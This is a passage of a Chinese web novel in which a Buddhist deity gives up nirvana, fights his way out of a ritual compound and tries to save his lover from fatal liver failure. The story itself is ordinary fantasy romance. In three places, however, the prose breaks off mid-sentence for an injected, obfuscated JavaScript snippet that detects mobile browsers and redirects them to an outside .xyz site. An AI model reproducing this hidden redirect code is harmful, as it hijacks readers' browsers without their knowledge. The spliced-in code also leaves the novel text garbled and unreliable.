柳闻斌踩在这蚕丝白絮上,质感正如他所看到的那样,软且无害,也没有什么异味。他捡起书包,捧出佛子的佛像,一边摩挲一边在心里呼喊佛子。一间间房门就这样大大地敞开,蚕丝铺得屋里屋外全部都是,柳闻斌只敢走这走廊,院子太恐怖了,蚕丝陷下去简直像白色的湖,一脚踏进去不知道会踩中什么。柳闻斌冥冥之中走到外院最里间的房间,桌上有一尊毛绒绒裹得严实的东西,蚕蛹一样,柳闻斌恍惚间觉得自己手中的佛像在发烫,要柳闻斌靠近那桌上的蚕蛹。 柳闻斌的手指碰上了,白色蚕线软得一塌糊涂,柳闻斌一戳就凹陷下去,再仔细一捏,发现桌上被裹得严严实实的竟然是佛子的一尊小像,柳闻斌赶紧三下五除二将蚕丝去了,将小像放进包里,然而一股烟味忽的飘过来,紧接着是骤起的浓烟,柳闻斌仿佛看见院里那些不知死活的人影全都给火烧着了起来,疯狂地扭动、弹跳、移动,柳闻斌吓得大脑一片空白,想往外冲,却又被屋外的崎岖人影吓破了胆。 人影像是发现了柳闻斌,就要往屋里冲。柳闻斌赶紧把门一关,挪了桌子过来抵门。这么邪门的地方,他柳闻斌竟然也敢进了?原来那些狗屁倒灶的网络小说也不是全部都在骗人?!柳闻斌发誓,他再也不会低估那些所谓盗墓灵异、家族恩怨的地摊文学了。 马家天的时间流速非常之慢,反衬得现实世界的时间像超发了的纸币,通货膨胀了便不值钱。人类世界的时间是小小的生物们累积着小小的、短促的生命,而佛的世界是一佛贯穿千万万年。到底谁的世界才是超发了、膨胀了? 与施霜景说完上一句话仿佛只是一念的停顿。 罗爱曜在马家天内,受众多法相的簇拥,他们奏乐,他们舞蹈,他们开始唱赞歌,久没听过的佛国之音突然响彻。天,就是一种场,要将罗爱曜迅速地拉回到他所属于的那个世界,那个礼乐通天、岁月无垠的世界,须弥山上山下,诸天人、金刚、护法的居所,行赞,赞佛之慈悲大智、慈航普度,也修行,但修行是为了无形。罗爱曜是从那个无形世界来的,就连须弥山所在的有形世界也属低级,那人类世界就是更低之低,如同人类在人间之下还有地狱,地狱往下数还有十八层,人类不敢想在十八层地狱之下还有什么。罗爱曜忆起他就是从非想非非想之天而来,经历一场惨痛的倒退,但罗爱曜一点没有感觉,他也去地狱待过了,在他的思想里,地狱不比人间低级,而佛界也不比人间高级。“囿于欲界,佛子无教”,这是不空三藏对罗爱曜的判词。那又怎么了?“有教”就是回到罗爱曜来时的地方吗?从来都是实践法先行的密宗佛子确信这回头路才真是虚妄的。 心底有无数声音与罗爱曜辩经。最先就是金刚、胎藏二部,罗爱曜生来就要继承密宗,所以从他生来便会的考校起。然后是这千年来发展的一切大小乘、各种密。罗爱曜当初进山不是为了休憩,而是为了洞察一切变化法。经藏考校完,便是辩法。罗爱曜渐渐感觉不到任何天与人的动静,什么马家天,什么人间界,倏忽间他置身万丈佛光的云巅,闭眼受众佛的提问,不论罗爱曜是否学过或是想过,必须立刻作答。在非常偶尔的灵光一现中,罗爱曜忽然很好笑地觉得,这过程很像面试。没什么大的分别,无形与有形,人与佛。然这些佛全 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众法相更欢喜、飘摇了,犹如一朵朵莲花幽浮在马家天。因论法之激烈,也因马鸣的刻意收束,罗爱曜的三身渐渐齐聚于马家天,既他的法身、报身与应身。绝对的聚精会神,绝对的光明自省。 终于,一道音声这样说。 “因缘即将圆满,修行大成,教化佛子,诸天众护法,可立得涅槃。” 罗爱曜突地一怔。什么叫“因缘即将圆满”?在此潜意识痛彻的追问下,罗爱曜遍开佛眼,千只佛眼凝视音声之来源,千只佛手撕扯佛光云层。在这狠厉的反击下,天国佛光骤灭,一瞬仿佛置身幽暗冥室。护法音声庄严恭敬,这仿佛是另一座早已设好的坛场,无需罗爱曜自行布置,从他抵达的这一刻,涅槃便可开始了。 前提是“因缘即断,此身清净”。 罗爱曜不再辩法,不再辩经,千万万密咒正行、逆行,破坏这一切。不论假象还是真实,不论涅槃还是谎言,这不是罗爱曜选的法。 然一股紧束的力死死地拥住罗爱曜,禁锢一般。罗爱曜毫不屈服,全新的密咒陀罗尼源源不断生产而出,超越旧经旧典,罗爱曜那具人形应身原是坐在莲座上,现转为半跪,是要起身。 法眼看破三界,忽然泪如甘露。 天人所唱第一悟,如是一念复一念。 屋门被强行破开,柳闻斌躲在雕花拔步床侧,不敢冒头,直到罗爱曜的声音响起,焦急地,痛苦地,“滚出来!柳闻斌,我要回家!” 柳闻斌以为自己听错了,可浓烟贯入,妈呀,真的起火了吗?!罗爱曜一把拎起柳闻斌,将他的兜帽强行压低,“不要看庭院。”罗爱曜厉声道。 血红色密宗法身扫除马家大院的一切障,那些献祭了半成品法相的马家人全归到各自房间中,庭院内风云诡谲不堪看,人见即死。柳闻斌像犯人一样给罗爱曜押着往前走,十分不真实。 临出马家大宅的大门前,罗爱曜说:“我的佛子像,给我。” 柳闻斌立刻把大的那尊递过去,罗爱曜怒音说是小的那尊,柳闻斌忙不迭从包里翻出来,还给了罗爱曜。此刻罗爱曜用拳头狠狠地敲击着佛像,铜鎏金外壳扑簌簌地落一地,暴露出中间已被完全替换的新像。 那是一尊马头明王小像。去他的马鸣。 罗爱曜逼迫柳闻斌以最快的速度带他回去,回到施霜景身边。 “我放弃了涅槃,不能再放弃他。” 128.细马春蚕篇(二十六) 柳闻斌和马家司机两只落汤鸡坐在前排大气不敢出,罗爱曜坐在后排一言不发。 没人敢问罗爱曜,到底发生了什么,你为什么音讯全无,你知不知道家里出了事……倘若佛子真是对此一无所知的样子,柳闻斌肯定会提醒;可现在佛子明显是知道发生了什么,那么一切都是有缘由的,加之那句“我放弃了涅槃”,柳闻斌知道佛子也不好过。 从踏出马家天的那一刻,罗爱曜就试图让自己的法身回到施霜景身边,可不论如何追寻,罗爱曜都发现自己置身一片孤独的荒芜中。荒野毫无一人,没有方向与路标,长风细绕招魂幡。他仿佛回到了没有遇见施霜景的孤寂千年,神佛法身也作野鬼。施霜景是没有办法莹莹地发光了,他的阿赖耶识,他的灵魂,他的念,如今微茫黯淡,不知是缩藏了起来,还是即将熄灭。法身回到施霜景身边没用,罗爱曜知道施霜景在哪家医院、哪个楼层、哪个病房、哪张病床,但就是没有用处。千万只佛眼乌突突地看施霜景受苦,看到的那一刻,不论贪念、邪念还是善念、佛念,千年来的功德与积业尽付之一炬,罗爱曜决定不随马家坛场的仪式涅槃,他被这段因缘勾住了、锁住了,即便涅槃而上也不会甘心,这怎么能甘心?可为什么出来了还是一点办法也没有? 换做之前,罗爱曜的法身自是能力无边,治好一个人类不在话下,从前施霜景给人捅得一命呜呼了,罗爱曜用他那密咒陀罗尼被一罩,下地狱的人都能召回来。可现在罗爱曜的法身根本没办法靠近施霜景,不知到底谁是谁的海市蜃楼,近在咫尺却触碰不到。病房里有柳闻斌的妻子守着,施霜景急性肝衰竭,下午就要转去ICU。罗爱曜走之前一一爱抚过的皮肤要被插各式各样的管子,得肝病的人看起来枯黄、浮肿,施霜景看起来都有点不像他了。人类很坚强也很脆弱,可死亡真的好狼狈啊。 罗爱曜不知道要怎么办才好了。法身无法接近施霜景,报身佛都在家,要人临时去搬来,但用处估计也不大。他只能寄希望于三身齐在的非凡效用,所以罗爱曜必须要立刻、马上赶回家。 司机在草原疯狂踩油门,上了高速连一口水都不敢喝,生怕找服务区上厕所耽误了正事。柳闻斌定了晚上八点半的飞机回成都,要是没赶上还有晚上十点的,总之不会拖过今夜。柳闻斌在心里骂自己真该死啊,昨晚就不该贪睡,他要是昨天下午就死皮赖脸地求司机,他们会不会昨天晚上或是今天早上就能飞回去? 对于施霜景的沉默,医生解释道,这或许是肝性脑病的早期表现。医生还提醒说,肝衰竭晚期的病人可能因为肝性脑病而性情大变,要对病人多一点耐心和包容。 耐心和包容……?谁对谁耐心,谁对谁包容?要健康的人对生病的人包容?这会不会太可笑了?刘茜白天会去施霜景家给小猫换猫砂、放食物和水。施霜景把这只小猫养得胖乎乎的,小猫你知道你的主人生病了么?现在的施霜景连视频电话也打不了,刘茜想,如果施霜景最后一面谁也没见上,那岂不是太可怜了。 三月三日下午,刘茜接到柳闻斌的电话,他说他接到罗爱曜了,现在正去往西宁的机场,哎,我让佛子跟你说!罗爱曜接过电话:“刘茜,你回家里,把壁龛的佛像带出来,到时候直接在医院见面。” 刘茜一把扯开固定下颌的捆带,含糊不清地骂罗爱曜:“佛子,你还晓得回家啊!小景一直在等你,你不晓得吗?你是不是治不好小景,那你赶快一点还能见到他最后一面!”刘茜骂完,一点也不后怕,撂下电话就去施霜景家装佛像。她小心翼翼地站在椅子上,双手伸长去取那佛龛里的像,将佛子像抱在怀里的时候,她不是因为心虚或是害怕佛子的报复而哭,她真的是太遗憾了。 柳闻斌的妻子倒是非常信佛子,她听说柳闻斌在回来的路上,闭眼连说几句“阿弥陀佛菩萨保佑”,这下施霜景死不了了,这钱根子断不了了。当初柳闻斌要去Q省找人,其实是有一定危险程度的,童蕾非常豁达地放他走,再不济冥冥之中还有柳家二大爷保佑呢,她让柳闻斌不要怕,她觉得佛子倒是比人类还更重几分情义,柳闻斌切不可在关键时候缩了头。柳闻斌笑骂他这婆娘,光说话不出力的。柳闻斌不懂,家里婆娘最扛事情,医生来问童蕾还要不要治、要怎么治,童蕾说怎么不治,人还好好的,治,当然要治,要她去偷半个肝来做移植都得治。其实哪能让人偷肝呢,童蕾私下已经把自己一家的血型送去匹配了。不入虎穴焉得虎子,可惜根本不行。 一进ICU,世界便清净了。家属只能在规定时间探望,探望的时间也有限。刘茜包来的佛像不知道放在哪里,她索性往ICU的角落一摆,假装什么也没发生地出来,然后她远远地守着ICU病房的门,生怕护士进去拿走了佛像,幸好直到晚上都没人发现它。 柳闻斌特别好奇,佛子你这段时间都去做什么去了?怎么消失了整整一个月?马家这么凶险? 佛子对柳闻斌说了最简略的版本,因为最详细的版本只能说给施霜景听:“佛教由西边传进东边,自古就常走河西这条线。我师不空在河西设疆场,最早是抵达武威城,由哥舒翰迎候。不空撤出河西之时,受诸佛感召,在祁连草原腹地选址做秘密坛场,此后不空就没有再照管过。草原里的马家就修在这秘密坛场之上。励光厂也可以视作坛场的地址,在这类坛场之处,因果流转会有异常。□□歌起初请我们去马家大宅,其实他自己也不清楚自己为何要这么做,他抗拒‘老祖’,但又受‘老祖’的控制。我在马家待着,直到马家人齐聚,我才知道他们‘老祖’请我来是提前开了坛场,考校我的千年修行,若我通过,即可涅槃。” “辩经、辩法对我来说并不麻烦,在我看来,唯一的关键只有我是否要舍弃一切因果。若我证得一切清净,因果自消,我当即就可大乘涅槃成佛。若大乘涅槃,马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611225|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣菩萨示现,引导马家诸多天人之魂为我护法。马家的确有些说法,他们世世代代从这坛场出来,虽是人类身体,可魂灵早已经受了转化,有半成的法相,卡在不上不下的区间,若我涅槃,就会卷走马家所有人的因果,作开启涅槃坛场的助力。不过这样他们也就全死了。我放弃了,我如果当下就涅槃离去,施霜景会死,之前的努力尽付诸东流,我也无法证自己的法——我是修密教部的。我从垢染爱欲中来,涅槃也不去它们所在的地方。” 机场人来人往,柳闻斌捧着一杯肯德基豆浆,听得很不是滋味,“那不就错过涅槃的机会了?还有机会涅槃吗?” “你还是没懂。密宗虽是大乘的分支,但我们的部、经、法是分隔开来的。我知晓从前密教部的佛、明王和菩萨最终都选了大乘的涅槃,也就是离垢升华、无欲无求。我可能是唯一一位执拗于密宗心性的候选人。他们担心我无法成佛,提前给我递了路,我拒绝,接下来只能自己看着办了。” “哦哦,那佛子你找我要回去的那尊小像……?” 一提到这个,佛子脸色马上臭了,他如此慌张,但在一些始作俑者眼里不过是儿戏,如此庄重对上如此不庄重,佛子越想越气血上脑,“我拒绝了大乘涅槃,马鸣菩萨走了,但马头明王*1不请自来——马家人搞不清楚到底是‘马鸣’还是‘马头明王’,马家坛场就是谁都能来,双马交替,耍我呢。” 往好了想,罗爱曜可能是获得了第三位护法。往坏了想——要多坏有多坏,不就是差点把罗爱曜拐去其他部去了?如果说这是一场招聘,那这些大乘涅槃的佛菩萨天天从密教部截人,罗爱曜真不信邪了。 说与外人听,外人全都会理解。罗爱曜唯独过不去心里的坎,一想到要向施霜景解释,这辈子第一次紧张了。但这种小小的紧张被大大的担忧盖过去。他们顺利赶上了晚上八点的飞机,十点左右落地,童蕾叫了员工在机场接人,俨然像一场生死拉力赛。 没事的,没事的。罗爱曜在心里这样安慰着,既安慰自己,也安慰不知道能不能听见他安慰的施霜景。他的法身人形,璎珞玉石严身,面目藏在遮布之下,手撑着病床床头,俯身一直一直看施霜景,琳琅的坠饰垂在病床上,落花一样。法身找不见施霜景的心识,留在他的肉身旁也是一种守护。 罗爱曜至今也不知道,为什么施霜景会生病,为什么单一身无法救施霜景的病。施霜景是罗爱曜涅槃的一关吗?谁得了允许拿他的爱情当试炼?罗爱曜的逆反心全给激起来了,施霜景又不是工具,活生生一条命,罗爱曜走之前还和施霜景温存着,不问自取真是卑劣。 *1:马头明王:密宗莲华部的金刚明王。据传来源于婆罗门教的双马神童。 *2:“莲花处染而无染,贪性亦然无所著。此说若知外事无,设作诸罪亦无染。”——《佛说一切如来真实摄大乘现证三昧大教王经》 129.细马春蚕篇(二十七) 事情发展到这一步,施霜景仍清醒的时候会想,自己应该要负不少的责任。如果不论怎样自己都要死,过年之后的这一个月,施霜景就应该自私一把,好歹让喜欢的人留在自己身边。施霜景很偶尔还会想,是不是自己低估了死亡,所以死亡才蹲守他,一直不肯走。总而言之,一直以来的态度问题爆发了。想来想去也怪不到其他人头上,就连施霜景的父母都不需要怪的,什么基因问题啊,什么癌症的遗传啊,豁达一点,就当是早点去见爸妈了。 施霜景眼看自己的病情飞速恶化,前一天自己还能在搀扶下去卫生间,后一天他就只能卧床并需要安装辅助排便的工具。到了这个地步,施霜景对死亡的恐惧过了那条防御线,就只剩下倒数日子等结束的心理。不想清醒是因为他没有办法再承担其他人的悲伤。转院也好,换人来看护也好,施霜景因肝性脑病发作而失去对现实的感知。他会看到一些幻觉……也可能是真实发生过的事?那仿佛是他婴儿时期的记忆,母亲躺在病床上,父亲让一岁多的施霜景爬上病床,静静地趴在妈妈的身侧,妈妈手上插着针,还轻轻拍施霜景的后背,给他唱摇篮曲。 这辈子好像只有一头一尾是彩色的。施霜景撑着一把烂伞,走过这多年。 给罗爱曜发消息也没意思,埋怨他似的。事实上施霜景早就没再给罗爱曜发消息了,一是没有心力,二是视力急速下降,三是觉得就这样也挺好,大家好聚好散,记得彼此最好的样子就行了。 唯一比较遗憾的是施霜景卡里的余额,施霜景忍不住感慨,自己真是烂命一条,有命赚没命花。不知道拿手机备忘录留遗嘱有没有法律效力,反正施霜景希望自己剩下来的财产都留给福利院和玉米。要是能全留给玉米就好了,施霜景真把玉米当儿子养的,他想到以前的新闻,说富豪把巨额财产都留给了猫,让猫住大房子,有管家来照顾。施霜景也希望玉米被这样照顾。 别的啊,施霜景没什么想说的了。这半年他很愉快,除了罗爱曜之外,他还认识了其他的生物,龙女蒋念琅他们……是啦,不能什么都不说就这样走掉。三月二日,施霜景进ICU之前,强撑着发了条语音,胡言乱语的成分偏多,施霜景发给了郎放,就说自己生病啦,要死掉了,很高兴认识你们一家,要跟小鼓说一声,以后没办法一起玩啦,挺想你们的……叽里呱啦说一大堆,也不知道说清楚没有,说不定语音转文字出来一半都是方言。施霜景发完,手机交走,人也马上不清醒了。 彼时郎放一家都在美国安顿好了,中国的下午是美东时间的凌晨两点,郎放刚和蒋良霖做完,将手机屏幕翻过来,发现施霜景给自己发消息,还以为是施霜景分享什么趣事给他。郎放点语音转文字,半秒以后加载出来,郎放盯了一会儿,没读明白,这才点开来听语音。郎放听着听着就眉头皱成一团,蒋良霖则是压根没听懂,郎放给施霜景回拨电话,施霜景没接。 寻思片刻,郎放满屋子找香薰条,蒋良霖一头雾水地跟过来,郎放找到了,又找打火机,在室内不能起烟,郎放披着睡袍去庭院里,往草坪插香薰条,作香灰占卜,占出个实打实的死卦,香灰烧尽了像个人跪在地上,呈病厄大凶死兆。施霜景没在开玩笑。 郎放给蒋良霖简单地解释过后,便转身回屋去找蒋念琅。小姑娘半梦半醒,郎放向她说了情况,这下蒋念琅再也不困了。蒋良霖在一旁欲言又止,好不容易找到机会,上前说明自己的观点——罗爱曜怎么不救呢?要是罗爱曜都救不了,他们回去有用吗?然而不管这一家关起门来如何讨论,他们最后还是达成了一致,定白天最快的直航回国,还需要转机回D市,预计最早到达时间是三月三日的深夜或是三月四日凌晨。蒋良霖没想到,救场竟然会在之后成为他家的家族传统,都是小鼓太乐于助人了,完全无解。 罗爱曜抵达医院。 探视时间已过了,童蕾带了折叠小马扎,她和刘茜就坐在重症监护室的通道大门之外。这么晚了,罗爱曜即便赶来,医生也不会给他开这个门。但即便是这个点,ICU外永远不缺等候的家属,生怕医生找家属的时候没人,更怕错过病人最后一面。罗爱曜以前都是远远地俯瞰这一切,信徒许愿,他可救可不救。若不是真的经历这一刻,罗爱曜不会意识到愿望其实是这么重的东西。 童蕾去请管床的医生,就说施霜景的爱人来了,请医生再好好讲讲施霜景现在的情况。医生见到罗爱曜第一面,立刻提醒他:“戴口罩。”罗爱曜冷不丁被提醒,才发现所有的家属其实都戴着口罩,他赶忙接过童蕾递过来的口罩,戴好,听医生讲施霜景的情况。医生解释了自身免疫性肝炎的急性起病病程,如今施霜景急性肝衰竭,肝性脑病导致昏迷,肾功能也很受影响,今晚是个关键期,如果病人其他器官还能撑住,说不定能排一下肝移植手术,但这很需要时间,手术指征也很可能一个天一个地,这都说不好的。 众人观察罗爱曜的表情,本就观察不出什么表情细节,口罩一戴,更是不清楚罗爱曜到底作何想法了。医生解释完毕,她很想放这位大帅哥进去看看病人,毕竟一天拖一天,今天一个样,明天就另一个样了,可规定就是规定。罗爱曜提出,他能不能去医生办公室细谈,医生说在这儿谈就行,她是值夜班的主治。罗爱曜表示自己不是对治疗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611226|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方案有疑问,就是想问些细节,当着外人的面不方便问。随后罗爱曜就跟主治去了医生办公室。 几分钟后,主治医生从办公室出来,刷开重症监护室大门,进去检查病人的情况。门口的柳闻斌等人摸不透罗爱曜的做法和想法,医生出来了罗爱曜都还没出来,唉,到底怎么办啊,能不能救呢?要是不能救,柳闻斌要接施霜景的葬礼活吗?柳闻斌大手摩挲胸口,这大半个月来心情坐过山车,真要短命了。 主治医生检查完毕出来,摘手套、摘帽子,按电梯门,就这样下了楼。她双眼直直地前望,在夜中如炬火明亮。她就这样穿白大褂在深夜的院区行走着,找到刚才他们停车的地方。深夜了,停车场半满半空,主治医生行走在白线与空地之间,黑夜登时给抽走了满盈的颜色,呈现一种薄纸般的苍蓝,再一看主治医生已经停住脚步,面目不清的多头、多首佛子法身显形,他托抱着穿病号服的施霜景,他几乎从未化出过这般具体的、便于使用的人形,在不同的光下有不同相面,眨眼间身若百色,深红木漆的,金属的,宝石的,玉的,灰粉的,花岗的……但不变的是他托着施霜景。这时罗爱曜带着其他人从楼上下来,柳闻斌接手司机的驾驶位,罗爱曜从法身手中接过施霜景,坐进后座。车灯一闪,很快就开出了医院。 直到人去楼空,主治医生才给一个响指叫醒。她环顾四周,自己怎么会来停车场?什么时候的事?她梦游了? 主治医生俨然已经忘记了她与罗爱曜的谈话,施霜景在两家医院的记录皆已抹去,大家都不会记得有这样一个男孩曾来过医院。 罗爱曜只是着急,人并不傻。女医生进重症监护室,法身见人身已抵达,带施霜景入虚空境界,并跟随女医生离开重症监护室。法身若跟随在人类身后,便不那么容易“迷路”——罗爱曜状况不佳,只那么短短一截路而已,那种荒野一般的迷失感如影随形,这让罗爱曜不得不谨慎再谨慎。 脱离重症监护和体外生命维持工具,施霜景的状况糟糕到一定地步,罗爱曜偷带他出来,每一分每一秒都有具现化的代价。他们必须回到励光厂坛场,罗爱曜寄希望于励光厂特殊的属性能帮到一点忙。 上一次两人一起坐在车后座,是缠绵、亲吻、相爱。这一次两人一起坐在车后座,是病痛、死亡、相离。罗爱曜不想再要任何对比了。看见施霜景生病的样子,便再也想不起他健康时的模样,刀劈斧凿般一道一道的创伤,将自负全抽走,以恐惧填进伤口,罗爱曜有点不认识这样的自己,唯独认识的竟然是面目大变的施霜景。施霜景不论怎样都是施霜景。你在就好了。只要你在就好了。 130.细马春蚕篇(二十八) 车辆甫一驶入励光厂地界,施霜景就半醒了。这一刻很像回光返照。很可惜施霜景视力严重下降,这是由意识丧失导致的视觉功能障碍,可以“看见”东西,但由于大脑没有办法加工处理,也就无从理解看见的东西是什么,进而呈现一种意识理解层面的视觉模糊。施霜景以一种半躺的姿势靠躺在车后座,可他靠着什么、靠着谁,施霜景无法理解。一切感知觉都像是正在蒸腾升空。他浑身散发着腥馊的味道,临死的味道。那些塑胶管在他生命的最后阶段简直要与他的皮肉有机结合了,器官慢慢地从他的身体里流出来,长在了外边,尿袋、体外循环的人工肝、肾脏的血透机……现在他从重症监护室的病床上被人拆了下来,那些器官就留在了医院里,施霜景的身体空洞洞的,血肉的味道就从这些空洞里逸散出来。 柳闻斌走在前,罗爱曜抱施霜景上楼,刘茜跟在他们身后,其实失去意识的人很重很重,幸好罗爱曜不是人类,他太抱得动了,必不会叫人感到任何不适。柳闻斌开门,将钥匙留在鞋柜上,罗爱曜带施霜景回家,柳闻斌立刻转身就走,带上门。刘茜抑郁至极,坐在门旁的楼梯上。 佛子说,请任何人都不要来打扰他们。施霜景回家了。他需要休息。 在床上睡觉的玉米“咚”地一声跳下床,看见罗爱曜抱着施霜景回家,它怔怔地抬头,收拢前腿,站立如一座小猫瓷像。大人和小猫对视,大人歉疚,神色黯然,小猫一闻,就什么都知道了。猫叫声从房门内传出来,一声一声嘶着嗓子,门外的刘茜从没听过玉米这样叫,野猫一般。刘茜攥着施霜景的手机,不知什么时候施霜景已经取消了手机锁,谁都能看见他手机里的东西,什么秘密都没有。施霜景爱玉米,玉米亦爱施霜景。白发人送黑发人,小猫送主人。这真的没有天理啊。 罗爱曜将施霜景放在床上,床头柜的水杯底积了一层细尘,窗帘外仿佛是永夜。罗爱曜拍了拍自己的脸,要自己振作起来。要找回理智。不能任由死亡的漩涡席卷一切,海底什么都没有,不能去到那里。 人虽有转世千回,但一世只有一个“我”,罗爱曜想留的只有眼前的施霜景。 静静凝视他,心神震荡,一圈一圈荡出黑暗的涟漪,扩张——宝殿复现,罗爱曜反复思忖,决定不引入时轮,只以自己的密教法来做最后一搏。八方莲华宝殿立于法界,为作仪式用,之前七层宝塔形状重又削弱回三层。罗爱曜第一次使自己的密法境界降临于世,他常作的苍蓝色虚空境界就是密法境界的一部分,如同竖立的书册,翻页间境界变幻,罗爱曜的本尊与分身在境界与现实世界的交点进行跳跃与转移,这般的虚实交错足以应付几乎所有事端,他制造的虚影连最混沌的存在都可骗过。 罗爱曜想,如若救不了施霜景,他就将这样的境界之种封进施霜景身体里,无尽的虚实可骗过所有人,也可骗过施霜景。他会“活”下来,只不过不再是人类。这是最高级别的工艺。罗爱曜对此有信心。 但在抵达这一步之前,罗爱曜还有许多没做的。 他将施霜景置于宝殿的中心,作无量咒,宝殿中心的密教像开始变换手上印契,而在宝殿外,乌云月下有幢幢虚影,琉璃法身内的一颗颗咒柱不再折射已有的咒文,而是恍若一座庞大的密咒生产机器,光影、咒文交错碰撞,狂暴地生产着前所未有的新经,而这些新的经咒由宝殿外数千座报身像所承接。 面前的法界如同一个微缩的宇宙,天是乌云清净月华夜,以八方莲型宝殿为中心,琉璃法身北坐,南望千座佛子报身像,一圈圈如光轮般绕宝殿而立。 一部新经便是一种悟,一像承接一悟,霎时间千种悟法尽数而生,报身像的鎏金壳驳脱一地,生出新佛像身。千种法里,只要有一种能留住眼前人就好了。 罗爱曜身穿紫底金纹袈裟法衣,法衣上并不绣莲华或八宝,而是诸多法器之一字咒文,即罗爱曜赠与施霜景的那串佛珠上的佛眼咒文。这是罗爱曜第一次穿此法衣,唐时期帝皇赐紫袍于国师高僧,而罗爱曜此身法衣为不空殁后转赠于他,金纹自作,代表各法门之偏重。 法衣之下,淄黑色旧衣为底,黑鬒鬒的袍领压住黑色长发,罗爱曜将长发掀出来,无心束发,只专心地召出众多法器,在此金朱红殿内外穿行如鬼魅。 密宗不修起死回生法,只可避非时之死。罗爱曜只怕施霜景之死是是时,非非时。若是如此,他就是做禁修,然此无悔。众像悟法,手势变换如佛舞。天际流云加速,仿佛某种报应正在酝酿,可琉璃法相身岿然不动。若天有雷,则引雷自渡;若天有雨,则覆水自平;若天有炎,则淬火自息;若天有雹,则击节咒柱、化劫为生、落心自住。 顷刻间,安稳法界动荡起来,霎时佛国、霎时地狱。罗爱曜回宝殿,双手闭门,护之己欲,护之不忍,护之一粟凡心,护之所爱不可错失。 在等新法证得之前,罗爱曜洗去施霜景周身全部佛子诫文,文如金沙,泄之如河。罗爱曜只能扶施霜景半靠于自己怀中,使施霜景身披祭蓝陀罗尼被,金沙复又流上经被之上,作最小程度的改动,运行治愈法,只要有渺茫用途便足矣。 罗爱曜观想,想施霜景之生途。总之对于罗爱曜和施霜景的相遇——此中蹊跷不堪想。罗爱曜只固执地相信,施霜景必然有出现的原因。马家一遭不就证明了吗?若是那时放任自流,任施霜景死去,罗爱曜便立刻得证大乘涅槃之道。倘若施霜景活呢?此时地上金沙之河分出细细一支,罗爱曜忽然看见金沙流往殿中一角,流向其中一座像,手握文殊利剑。罪从心起将心忏,心若空时罪亦亡,心亡罪灭两俱空,是则名为真忏悔。罗爱曜早知道他有一把文殊残剑找上施霜景,此剑示以智慧,本该是吉兆,可罗爱曜脑中却不停闪出恶毒猜想,怒火与冷酷交织。 我所见的施霜景的寿终与它有关吗?为什么施霜景非死不可呢?为什么只到这个春日?为什么他不得善终?为什么我救过他无数次但这次回天乏术?为什么最终是剑成?我有何可忏悔?我与智慧难道还有差距?施霜景与智慧又有如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611227|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关联?为什么非要是施霜景?为什么就不能让他活?为什么要千锤百炼我之爱欲?难道我选错了?难道我生来就是想错了?密宗是错,他也是错? 正陷入此等错乱癫狂的思想乱流之中,罗爱曜的头发忽然受人轻轻地缠了缠。罗爱曜垂首,发现施霜景正望着他。 大概是罗爱曜之法界不同于人间,有罗爱曜所愿的成分,看不见的施霜景能够看见,说不了话的施霜景能够说话,一切呈现虚相的好转,法界中刹那永恒,施霜景忽然问:“你是罗爱曜吗?” “是。” “吓我一跳。你回来了?把我治好了?” 不忍告诉他真相。 “这是在哪里?” “法界中,我的宝殿。” “还在治吗?” “嗯。” 施霜景听他语气就知道了,“能治好吗?” 不打诳语。 施霜景彻底知道了,“算了,不逼你。那我还有多久可活?” “永远。” “我脑子不好用,你到底什么意思?” “施霜景,你会永远都在。我不涅槃了,就留在这里。” 施霜景听不懂,脑子真的不大会转,但凡多一点的逻辑跳跃都处理不了。“那我以后都要待在这里了吗?是这个意思吗?” 罗爱曜没有回答这个问题,而是问:“你很失望吧?” “有得治就不失望,没得治就失望。你不是说你很厉害吗?” 反问完,施霜景仍不甘心,继续问:“你不是说你会一直在我身边吗?为什么需要你的时候你永远不在呢?你说我总是送死,你不也总是消失吗?你说,我们是不是扯平了?” 这算什么扯平。施霜景向罗爱曜要的只不过是一只猫和一点点明亮的未来,他最初许愿都没提过自己的性命,不过那时他也不知自己的性命……罗爱曜甚至不敢想,万一施霜景就是要因为罗爱曜而死呢?罗爱曜在施霜景身上寻欲望的根基,寻密宗涅槃法,寻情感之家。这怎么看都扯不平。 罗爱曜怀抱着施霜景,轻拍施霜景的身体,“我欠你的扯不平,你要好起来向我索要。你不是送死,是我拖累了你。” “一家人不要说什么拖累不拖累。” 罗爱曜思绪混沌至极,忽然笑说:“你记不记得你说过,你觉得我没有头发?” “还没说头发的事呢。你的头发怎么这么长?” “原本就是这么长。” “我不喜欢,太长了,像鬼。” “我同意。” “唉……我不知道要说什么。别的我不想聊。我很累。” “我知道。” “很搞笑吧?快死的人,说什么很累……” 